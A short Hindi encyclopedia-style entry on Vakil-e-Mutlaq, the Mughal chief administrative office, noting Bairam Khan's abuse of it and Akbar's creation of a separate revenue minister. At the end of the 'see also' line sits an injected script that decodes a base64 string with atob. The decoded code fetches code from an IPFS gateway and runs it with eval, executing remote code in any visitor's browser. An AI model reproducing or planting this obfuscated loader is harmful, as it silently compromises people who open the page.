वकील-ए-मुतलक़

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वकील-ए-मुतलक़ मुग़लकालीन शासन व्यवस्था में एक उच्च पद था। बादशाह के बाद शासन के कार्यों को संचालित करने वाला यह सबसे महत्त्वपूर्ण अधिकारी था।

  • अकबर का वकील बैरम ख़ाँ चूँकि अपने अधिकारों का दुरुपयोग करने लगा था, इसलिए अकबर ने इस पद के महत्व को कम करने के लिए अपने शासनकाल के आठवें वर्ष में एक नया पद ‘दीवान-ए-वज़ीरात-ए-कुल’ की स्थापना की थी, जिसका मुख्य कार्य था- ‘राजस्व एवं वित्तीय’ मामलों का प्रबन्ध देखना।
  • बैरम ख़ाँ के पतन के बाद अकबर ने मुनअम ख़ाँ को वकील के पद पर नियुक्त किया, परन्तु वह नाम मात्र का ही वकील था।


इन्हें भी देखें: मुग़ल काल, मुग़ल साम्राज्य, मुग़ल वंश, मुग़लकालीन सैन्य व्यवस्था एवं मुग़लकालीन शासन व्यवस्था<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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